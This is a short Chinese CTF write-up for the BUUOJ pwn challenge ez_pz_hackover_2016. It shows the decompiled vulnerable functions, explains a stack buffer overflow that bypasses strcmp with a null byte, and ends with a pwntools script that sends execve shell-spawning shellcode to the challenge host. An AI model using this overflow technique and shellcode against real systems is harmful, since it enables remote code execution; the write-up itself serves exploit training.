ez_pz_hackover_2016

ez_pz_hackover_2016

Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments
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32位，保护全关

int chall()
{
  size_t v0; // eax
  int result; // eax
  char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(s, 1023, stdin);
  v0 = strlen(s);
  v3 = memchr(s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", s);
  result = strcmp(s, "crashme");
  if ( !result )
    return vuln((char)s, 0x400u);
  return result;
}
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这里不存在漏洞点

void *__cdecl vuln(char src, size_t n)
{
  char dest[50]; // [esp+6h] [ebp-32h] BYREF

  return memcpy(dest, &src, n);
}
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漏洞点在这里，通过上面输入的数据传进这里并执行栈

思路

我们需要计算不同函数栈的距离

需要绕过strcmp和memchr，\x00均可绕过，答案就呼之欲出了，

调好偏移，使返回地址指向shellcode就可以getshell了

参考

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27018,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x8048600')

sc=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
leak=get_addr_int()-(0x1c)
pl=b'crashme\x00'+b'a'*(0x12)+p64(leak)+sc
sla(b'> ',pl)

ia()
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